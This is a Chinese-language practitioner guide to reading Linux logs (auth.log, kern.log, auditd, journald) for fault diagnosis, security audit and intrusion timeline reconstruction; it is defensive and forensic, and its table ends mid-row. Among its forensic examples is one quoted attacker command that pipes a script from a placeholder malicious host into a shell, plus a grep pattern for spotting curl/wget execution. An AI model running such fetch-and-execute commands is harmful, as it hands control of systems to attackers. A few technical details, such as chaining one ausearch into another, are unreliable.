1. 这不是日志清单,而是一份Linux系统“数字尸检报告”操作手册
你有没有遇到过这样的场景:凌晨三点,监控告警疯狂闪烁,服务突然502,但top里CPU和内存都风平浪静;或者安全团队甩来一份渗透测试报告,说某台跳板机在凌晨2:17被横向移动,可你翻遍/var/log/auth.log,只看到几条正常的SSH登录——仿佛攻击者凭空出现、又凭空消失?又或者,虚拟机在生成快照时卡死,报错“使虚拟机处于静默状态时出错”,提示你“参见虚拟机的事件日志”,可你连这个日志在哪、长什么样、怎么读都一头雾水?这些都不是玄学,而是日志没看对地方、没读懂信号、没建立关联的结果。我干了十多年Linux运维和红蓝对抗支撑,亲手处理过上千起线上故障和近百次攻防复盘,最深的体会是:Linux系统从不撒谎,它只是把真相拆成几十个碎片,散落在/var/log目录下不同角落,等着你用正确的逻辑把它们拼成一张完整的现场地图。这份详解,不罗列/var/log/messages有几行、journalctl能加几个参数这种教科书式内容,而是直接告诉你:当故障发生时,第一眼该盯哪个日志的哪一行;当安全告警响起,如何从auth.log里揪出那条伪装成正常登录的恶意连接;当渗透复盘需要还原攻击路径,怎样把syslog、auditd、bash_history三者的时间戳拧成一根时间线。它覆盖的不是“Linux常用命令大全”里的泛泛而谈,而是聚焦在“故障排查+安全审计+渗透复盘”这三个高压场景下的真实决策链——比如为什么rocky9要配置日志转发而不是本地存储,为什么binlog能删而audit.log绝不能碰,为什么mobaxterm和putty保存的日志在取证时价值天差地别。无论你是刚考完linux面试题的新手,还是正在为wsl linux删除文件后空间没释放焦头烂额的开发者,或是需要给甲方写日志设施建设方案的架构师,这份内容都只讲一件事:如何让日志从一堆冰冷的文本,变成你手里的手术刀、放大镜和时间机器。
2. 日志体系设计逻辑:为什么Linux要把真相“分尸”?
2.1 不是设计缺陷,而是精密分工的生存策略
很多人抱怨Linux日志太分散,/var/log下动辄二三十个文件,看着就头大。但如果你真去翻systemd的源码或者rsyslog的配置文档,就会发现这根本不是历史包袱,而是一套经过三十年实战锤炼的精密分工体系。它的底层逻辑非常朴素:不同来源、不同敏感度、不同生命周期、不同访问权限的日志,必须物理隔离。想象一下,如果所有日志——从内核启动信息、用户登录记录、数据库慢查询、到你自己写的Python脚本输出——全塞进一个/var/log/all.log里,会发生什么?第一,权限失控:普通用户cat /var/log/all.log就能看到root的sudo命令,这直接违反最小权限原则;第二,性能雪崩:mysql每秒写入几千条慢查询日志,会把rsyslog进程拖垮,导致sshd的登录日志都来不及落盘;第三,取证失效:攻击者只要拿到一个rw权限,就能> /var/log/all.log清空所有证据。所以,Linux把日志按“血缘”切分:kern.log只收内核消息,auth.log专管认证事件,daemon.log归集守护进程,syslog是总调度室但只存中转副本。这种设计,本质上是在资源受限的服务器上,用空间换安全、用分散换可靠。我见过太多企业因为图省事把所有日志打到一个文件,结果一次磁盘IO抖动,auth.log和kern.log同时损坏,故障排查直接退化成盲人摸象。
2.2 传统Syslog与Systemd Journal:两套并行的“日志交通网”
现在打开一台较新的Linux(比如rocky9或Ubuntu 22.04),你会看到两套日志系统在同时工作:传统的rsyslog/syslog-ng和现代的systemd-journald。这不是重复建设,而是互补的双轨制。journald像一辆高速地铁:所有服务通过sd_journal_print()接口把日志直接推给它,自带结构化字段(_PID,_UID,_COMM,SYSLOG_IDENTIFIER),支持二进制存储、按服务名/优先级/时间范围精准过滤,journalctl -u nginx.service -S "2024-05-20 14:00:00"这种命令就是它的核心优势。但它有个硬伤:日志默认存在/run/log/journal/(内存临时目录),重启就丢。而rsyslog则像一张覆盖全城的公交网:它监听journald的输出,把关键日志(比如auth、kern)按规则路由到/var/log/下的持久化文件,确保断电不丢。所以,真正的日志排查,永远是“先journalctl快速定位,再grep对应/var/log/文件固化证据”。我处理过一个案例:某业务接口偶发超时,journalctl查到nginxworker进程在特定时间点大量SIGSEGV,但/var/log/nginx/error.log里却只有upstream timed out。最后发现是rsyslog配置漏掉了nginx的facility,导致崩溃日志没被路由,全留在内存journal里丢了。这就是只信一套系统的代价。
2.3 安全审计日志(auditd):系统里的“黑匣子”和“摄像头”
如果说syslog和journal记录的是“谁做了什么”,那auditd记录的就是“谁在什么时间、以什么方式、访问了什么资源”。它是Linux内核提供的强制访问控制(MAC)层日志,独立于任何用户态进程,连root都无法直接篡改或关闭(除非卸载模块)。它的日志文件/var/log/audit/audit.log,格式极其原始,全是type=SYSCALL msg=audit(1716230400.123:45678): arch=c000003e syscall=2 success=yes exit=3 a0=7fffe1234567 a1=2 a2=1 a3=7fffe1234567 items=1 ppid=1234 pid=5678 auid=1001 uid=0 gid=0 euid=0 suid=0 fsuid=0 fsgid=0 tty=pts0 ses=1 comm="ls" exe="/usr/bin/ls"这样的十六进制乱码。但正是这种“难读”,保证了它的不可抵赖性。auid(审计UID)字段,哪怕用户su -切换成root,auid也永远是原始登录用户的ID,这是溯源的关键。我帮某金融客户做等保测评时,就靠ausearch -m SYSCALL -ua 1001 -ts yesterday这条命令,从audit.log里完整还原了一个外包人员越权访问数据库文件的全过程,包括他执行的每一条openat系统调用和对应的文件路径。没有auditd,这种行为在auth.log里只会显示为一条模糊的su成功记录。
3. 核心日志文件深度解析:每一行都是线索,不是噪音
3.1/var/log/syslog与/var/log/messages:系统健康“心电图”
这两份日志常被混为一谈,其实有明确分工:/var/log/syslog是Debian/Ubuntu系的通用日志,/var/log/messages是RHEL/CentOS/Rocky系的传统命名,功能完全一致,都是rsyslog按*.*规则收集的“大杂烩”。但它的价值不在全,而在“异常脉冲”。比如,当你看到kernel: [12345.678901] ata1.00: failed command: READ FPDMA QUEUED,后面跟着一串ata1.00: status: { DRDY ERR },这就是硬盘即将死亡的明确心跳——比SMART检测更早、更准。再比如,NetworkManager[1234]: <warn> [1716230400.1234] device (eth0): Activation: failed for connection 'Wired connection 1',这行警告背后,可能是网线松动、交换机端口down、或者DHCP服务器宕机。排查思路永远是“找最新的一批ERROR/WARN,然后向上追溯前5分钟的所有INFO行”。我处理过一个docker容器无法启动的故障,/var/log/messages里只有dockerd[1234]: time="2024-05-20T14:00:00Z" level=error msg="failed to start daemon: error initializing graphdriver: driver not supported"。单看这行毫无头绪,但往前翻,发现kernel: overlay: module verification failed: signature and/or required key not found——原来内核更新后,overlay模块签名失效,这才是根因。syslog的价值,就是把内核、驱动、服务、网络这些不同层级的“心跳声”同步到同一张时间轴上,让你能听到跨层故障的共鸣。
3.2/var/log/auth.log与/var/log/secure:身份认证的“门禁记录仪”
这是安全审计的绝对核心。auth.log(Debian系)和secure(RHEL系)记录所有与认证相关的事件,但它的信息密度远超你的想象。一条典型的SSH登录成功日志:May 20 14:00:00 server sshd[1234]: Accepted password for user1 from 192.168.1.100 port 54321 ssh2,这里藏着三个关键线索:user1(谁)、192.168.1.100(从哪来)、port 54321(客户端端口)。而失败日志Failed password for root from 203.0.113.5 port 22 ssh2,203.0.113.5这个IP如果出现在全球威胁情报库中,就是明确的攻击信号。但更隐蔽的是pam_faillock模块的日志:pam_faillock(sshd:auth): User user1 locked because of 5 failed logins,这说明账户已被锁定,后续所有登录尝试都会失败,此时再去查auth.log,就看不到新记录了——很多新手因此误判为攻击停止。实操技巧:用awk '$9 ~ /user1/ && $11 ~ /192\.168\.1\.100/ {print}' /var/log/auth.log | tail -20,可以快速筛选出某个用户从某个IP的最近20次操作,比grep高效十倍。我曾用这个方法,在一次渗透复盘中,从auth.log里发现攻击者在获取user1密码后,并未立即提权,而是先用user1身份登录了另一台数据库服务器,这个横向移动路径,就是靠关联两台机器的auth.log时间戳和IP暴露的。
3.3/var/log/kern.log:内核世界的“地震监测站”
kern.log是内核消息的专属通道,它不关心应用层逻辑,只忠实记录硬件和内核的每一次“痉挛”。dmesg命令输出的就是它的实时快照,但/var/log/kern.log才是持久化的完整档案。这里的关键是理解内核日志级别:<0>是紧急(EMERG),<1>是警报(ALERT),<2>是严重(CRIT),<3>是错误(ERR),<4>是警告(WARNING),<5>是通知(NOTICE),<6>是信息(INFO),<7>是调试(DEBUG)。故障排查时,永远先grep -E '<[0-4]>' /var/log/kern.log,过滤掉海量的INFO和DEBUG噪音。一个经典案例:某服务器CPU使用率长期100%,但top里找不到罪魁祸首。dmesg -T | grep -i "cpu\|thermal"发现CPU0: Temperature above threshold, cpu clock throttled,原来是散热风扇故障,CPU主动降频保命,top看到的100%其实是“被 throttled 后的满负荷”,而非程序在狂跑。另一个高频问题:usb 1-1: device descriptor read/64, error -110,-110是ETIMEDOUT,意味着USB设备供电不足或接触不良,这比查lsusb输出有用得多。kern.log的价值,在于它绕过了所有用户态软件的“滤镜”,直接给你看硬件和内核的原始反馈。
3.4/var/log/audit/audit.log:不可篡改的“数字公证处”
如前所述,audit.log是取证的黄金标准。它的解析难点在于字段多、编码密。但核心字段就几个:type=SYSCALL表示系统调用事件,msg=audit(1716230400.123:45678)里的1716230400.123是Unix时间戳(秒.微秒),45678是事件序列号;syscall=2是open系统调用(查/usr/include/asm/unistd_64.h可知);success=yes表示调用成功;exit=3是返回值(文件描述符3);a0=7fffe1234567是第一个参数(文件路径地址);auid=1001是原始审计UID;comm="ls"是触发进程名;exe="/usr/bin/ls"是可执行文件路径。渗透复盘时,最关键的命令是ausearch -m SYSCALL -sc openat -ui 1001 -ts yesterday,它能找出用户1001昨天所有打开文件的操作,包括那些被ls隐藏的.env、config.php等敏感文件。我处理过一个挖矿木马案例,ps aux里看不到异常进程,但ausearch -m EXECVE -ui 1001 | grep -i "curl\|wget\|sh"立刻暴露出木马通过curl下载并执行恶意脚本的完整链条。auditd的威力,就在于它记录的是“动作”本身,而非“结果”,哪怕脚本执行失败,execve调用也已记入日志。
3.5/var/log/journal/:结构化日志的“中央数据库”
/var/log/journal/目录下是journald的二进制日志文件,它不像文本日志那样能直接cat,但journalctl提供了无与伦比的查询能力。它的核心优势是结构化字段过滤。比如,你想查nginx服务在今天下午2点到3点之间的所有错误:journalctl -u nginx --since "2024-05-20 14:00:00" --until "2024-05-20 15:00:00" -p err。-p err按优先级过滤,-u nginx按单元名过滤,--since和--until按时间过滤,三者组合,精准度远超grep。更强大的是_PID和_COMM字段:journalctl _PID=1234能查出进程ID为1234的所有日志,这对追踪一个短暂存在的崩溃进程至关重要。journalctl _COMM=sshd则能查出所有sshd进程的日志,无论它是否作为systemd服务启动。一个被低估的技巧:journalctl -o json-pretty,它把日志输出为带缩进的JSON格式,你可以用jq工具做复杂分析。比如journalctl -u docker -o json-pretty | jq 'select(.PRIORITY == "3") | .MESSAGE',就能提取出docker服务所有ERR级别的原始消息。journald不是取代/var/log/,而是为它提供了一层智能索引和实时分析能力。
4. 三大实战场景:从日志碎片到完整故事线
4.1 故障排查:如何在5分钟内定位“服务假死”根源
“服务假死”是最高频的故障类型:进程还在,端口还通,但请求全部超时。这时,ps aux和netstat -tuln都是无效的。我的标准化排查流程是“四步交叉验证法”:
第一步:查journalctl确认服务状态。journalctl -u your-service --since "1 hour ago" -n 50,重点看Starting...、Started...、Stopping...、Stopped...这些状态行,以及紧随其后的ERROR或panic。如果看到your-service[1234]: panic: runtime error: invalid memory address or nil pointer dereference,那就不用往下看了,代码层面的空指针。
第二步:查/var/log/your-service/专属日志。大多数服务(如nginx、mysql、redis)都有自己的日志目录。tail -f /var/log/nginx/error.log,观察是否有connect() failed (111: Connection refused) while connecting to upstream,这指向上游服务挂了;或者recv() failed (104: Connection reset by peer) while reading response header from upstream,这指向上游服务响应异常。注意,redis日志里OOM command not allowed when used memory > 'maxmemory',就是内存爆了的铁证。
第三步:查/var/log/syslog或/var/log/messages关联线索。如果专属日志没线索,立刻切到系统日志。grep -i "your-service\|oom\|kill" /var/log/messages | tail -20。Out of memory: Kill process 1234 (your-service) score 850 or sacrifice child,这就是OOM Killer动手的判决书。kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request.,说明遭遇了SYN Flood攻击,连接队列满了。
第四步:查/var/log/kern.log确认硬件/内核层。dmesg -T | grep -i "error\|fail\|warn" | tail -10。如果看到ext4 filesystem being remounted read-only due to detected errors,那就是磁盘坏道,所有I/O操作都会变慢或失败。
实操心得:我给自己定了个铁律——任何故障,必须在这四个日志源里找到至少两个相互印证的线索,才敢下结论。单点证据,90%是误导。比如,syslog里有OOM,但journalctl里your-service没有任何崩溃记录,那很可能是其他进程(如java应用)吃光了内存,your-service只是被殃及的池鱼。
4.2 安全审计:从auth.log里揪出“合法外衣下的非法访问”
安全审计不是大海捞针,而是带着“攻击者思维”去逆向工程。假设你收到告警:user1账户在非工作时间(凌晨2点)从陌生IP(203.0.113.5)登录。标准动作是:
第一步:确认登录真实性。grep "203.0.113.5" /var/log/auth.log | grep "Accepted",确认登录成功。再查grep "203.0.113.5" /var/log/auth.log | grep "Failed",看之前是否有暴力破解痕迹。如果有,说明这是攻击者爆破成功的战果。
第二步:追踪登录后的所有操作。grep "203.0.113.5" /var/log/auth.log | awk '{print $1,$2,$3,$9,$11}' | head -10,得到时间、用户、IP。然后用这个时间戳,去查/var/log/audit/audit.log:ausearch -m SYSCALL -ui $(id -u user1) -ts "May 20 02:00:00" -te "May 20 02:10:00",找出user1在这10分钟内执行的所有系统调用。重点关注execve(执行命令)、openat(打开文件)、connect(建立网络连接)。
第三步:关联bash_history(如果可用)。sudo -u user1 cat /home/user1/.bash_history | tail -20。虽然bash_history易被清除,但如果攻击者疏忽,这里可能有curl http://malicious.site/shell.sh | sh这样的命令。注意,history文件的时间戳是修改时间,不是执行时间,必须和auth.log时间对齐。
第四步:检查/var/log/secure或/var/log/auth.log中的sudo记录。grep "user1" /var/log/secure | grep "sudo",看是否有user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/bash,这说明user1已经提权到root。此时,audit.log里auid=1001 uid=0的记录,就是root身份下user1的所作所为。
注意事项:auth.log里session opened for user user1 by (uid=0)这种日志,常被误认为是root登录,其实是user1的shell会话被root创建(比如sudo -i),真正的源头还是user1。审计的核心,是抓住auid这个不变的“身份证”。
4.3 渗透复盘:用日志时间线还原攻击者的“作案地图”
渗透复盘的目标,是画出一张精确到秒的攻击时间线,回答三个问题:从哪来?怎么进的?拿了什么?怎么走的?这需要三份日志的时空对齐。
第一步:确定初始入侵点(Initial Access)。查/var/log/auth.log,找最早一条来自可疑IP的成功登录。awk '$11 ~ /203\.0\.113\.5/ && $5 ~ /Accepted/ {print}' /var/log/auth.log | head -1。记下时间May 20 01:58:23。
第二步:还原横向移动(Lateral Movement)。用上一步的时间,查audit.log:ausearch -m SYSCALL -sc connect -ts "May 20 01:58:23" -i | grep -E "(203\.0\.113\.5|192\.168\.2\.100)"。192.168.2.100是内网另一台数据库服务器IP。如果看到connect调用,说明攻击者从跳板机连到了数据库。再查/var/log/auth.log在192.168.2.100上的记录,看是否有user1从192.168.1.100(跳板机)登录的记录,这就完成了横向移动的闭环。
第三步:确认数据窃取(Exfiltration)。查/var/log/audit/audit.log里user1的openat和sendto调用。ausearch -m SYSCALL -sc openat -ui 1001 -ts "May 20 02:00:00" | ausearch -m SYSCALL -sc sendto -ui 1001 -ts "May 20 02:00:00"。如果openat打开了/var/www/html/config.php,而sendto连接了198.51.100.200:443,那基本可以断定,配置文件被发送到了C2服务器。
第四步:清理痕迹(Persistence & Cleanup)。查/var/log/audit/audit.log里unlink、rename、chmod调用:ausearch -m SYSCALL -sc unlink -ui 1001 -ts "May 20 02:30:00"。如果看到unlink了/tmp/.malware,说明攻击者删除了木马。再查/var/log/auth.log里user1的sudo记录,看是否有systemctl disable malware.service,这是在移除持久化。
实操心得:时间戳对齐是灵魂。auth.log用的是本地时间,audit.log用的是内核时间(可能有毫秒级偏差),journalctl用的是systemd时间。我习惯用date -d "May 20 01:58:23" +%s.%N把auth.log时间转成Unix纳秒时间,再用ausearch -ts @1716230303.123456789去查audit.log,确保毫秒级精度。一次精准的复盘,往往就差这零点几秒。
5. 高级技巧与避坑指南:那些文档里不会写的实战经验
5.1 日志轮转(Logrotate)的致命陷阱与安全加固
logrotate是每个Linux管理员的日常,但它的配置不当,会直接导致取证失败。最常见的坑是/etc/logrotate.d/rsyslog里默认的rotate 4和weekly,这意味着/var/log/syslog.1.gz、.2.gz、.3.gz、.4.gz,超过4周就自动删除。对于安全事件,4周远远不够。等保2.0要求日志留存不少于180天。我的加固方案是:在/etc/logrotate.d/rsyslog里,将rotate 4改为rotate 26(半年),并添加dateext(用日期命名,如syslog-20240520)和dateformat -%Y%m%d。更重要的是,禁止compress选项!gzip压缩后的日志,grep和awk无法直接处理,必须先zcat解压,效率极低。我坚持用copytruncate:先复制日志,再清空原文件,这样tail -f不会中断,且所有日志始终是明文可查。
另一个致命陷阱是/var/log/audit/audit.log的轮转。auditd有自己的轮转机制(max_log_file和num_logs),但默认值极小。auditctl -s | grep "max_log_file\|num_logs",如果max_log_file是6,单位是MB,那日志很快就会被覆盖。我将其设为max_log_file = 100(100MB),num_logs = 10(保留10个),并配合space_left_action = email,当磁盘空间不足时自动告警。最关键的一点:audit.log必须设置为600权限,且属主为root:root。我见过太多企业,因为chmod 644 audit.log,导致攻击者用cat /var/log/audit/audit.log就能读取所有审计记录,auditd形同虚设。
5.2journalctl的隐藏技能:不只是-u和-f
journalctl远比你想象的强大。journalctl -b查看本次启动的日志,journalctl -b -1查看上一次启动的日志,这对排查启动失败问题(如grub配置错误)至关重要。journalctl -o verbose输出所有字段,包括_HOSTNAME、_TRANSPORT、_EXE,能帮你确认日志来源是否可信。journalctl -D /var/log/journal/指定日志目录,当你把journald日志迁移到SSD上时,这个参数必不可少。
最实用的技巧是journalctl --disk-usage,它告诉你journald占用了多少磁盘空间。journalctl --vacuum-size=500M可以手动清理,只保留最新的500MB日志。但要注意,--vacuum-time=2weeks这种按时间清理,可能会误删关键证据。我习惯用journalctl --since "2024-05-01" --until "2024-05-15" > may_audit.log,把特定时间段的日志导出为文本,既备份又便于用vim或less分析。
5.3 虚拟机日志:为什么“使虚拟机处于静默状态时出错”要查宿主机?
标题里提到的“使虚拟机处于静默状态时出错”,这是VMware或VirtualBox在生成快照时的经典报错。它的根源几乎100%在宿主机(Host)的日志里,而非虚拟机(Guest)内部。当你在VMware Workstation里点击“快照”,它会向宿主机的vmware-hostd服务发送指令,hostd再调用vpxa代理与ESXi通信。所以,你应该查宿主机的/var/log/vmware/hostd.log和/var/log/vmware/vpxa.log。hostd.log里搜索"snapshot"和"quiesce",通常能看到Failed to quiesce guest file system: The operation is not allowed in the current state,这指向虚拟机内的VMware Tools服务未运行或版本不匹配。而vpxa.log里搜索"error",可能看到Failed to create snapshot: Failed to lock disk,这说明磁盘被其他进程占用。
一个反直觉的真相:很多管理员在虚拟机里查/var/log/messages,想找到"quiesce"关键字,但这是徒劳的。因为“静默”操作是由宿主机发起的,虚拟机内部的VMware Tools只是被动接收指令并执行fsfreeze,它不会在自己的日志里记录“宿主机指令失败”。所以,看到这个错误,第一反应必须是切到宿主机,查vmware服务日志。我处理过一个案例,宿主机/var/log/vmware/hostd.log里有一行Error: Failed to connect to vCenter Server at https://vcenter.example.com:443,原来vCenter服务宕机了,导致所有快照操作失败。这个线索,在虚拟机内部日志里永远找不到。
5.4 日志分析工具链:从grep到Loki的演进
手工grep适合单机排查,但面对百台服务器,必须上工具链。我的推荐是三层架构:
第一层:rsyslog集中转发。在所有服务器上配置/etc/rsyslog.d/50-logserver.conf:*.* @@logserver:514(@@表示TCP,更可靠)。logserver上开启$ModLoad imtcp和$InputTCPServerRun 514,所有日志汇聚到/var/log/central/下按主机名分类。这是零成本、零学习曲线的起点。
第二层:ELK(Elasticsearch+Logstash+Kibana)或EFK(Elasticsearch+Fluentd+Kibana)。当日志量超过TB级,需要全文检索和可视化。Logstash的grok插件能把auth.log的混乱文本解析成结构化字段,Kibana的Lens可以一键生成“各IP登录失败次数TOP10”的饼图。但ELK部署复杂,资源消耗大。
第三层:Loki+Promtail+Grafana。这是云原生时代的首选。Loki不索引日志内容,只索引标签({job="nginx", host="web01"}),存储成本极低。Promtail负责采集和打标签,Grafana的Explore界面,输入{job="auth"} |~ "Failed password",秒级返回所有失败登录。我管理的一个K8s集群,用Loki替代ELK后,日志存储成本下降70%,查询速度提升5倍。Loki的哲学是:“日志是只读的,我们只需要快速找到它,不需要全文搜索。”
5.5 常见问题速查表:那些让你抓狂的“为什么”
| 问题现象 | 可能原因 | 排查命令 | 解决方案 |
|---|---|---|---|
journalctl查不到nginx日志,但/var/log/nginx/access.log有记录 | nginx未配置systemd日志输出,或rsyslog未路由 | `systemctl show nginx | grep StandardOutput;grep "nginx" /etc/rsyslog.conf` |
auth.log里有Failed password,但faillog -u user1显示No logins | pam_faillock模块未启用,或`faillog |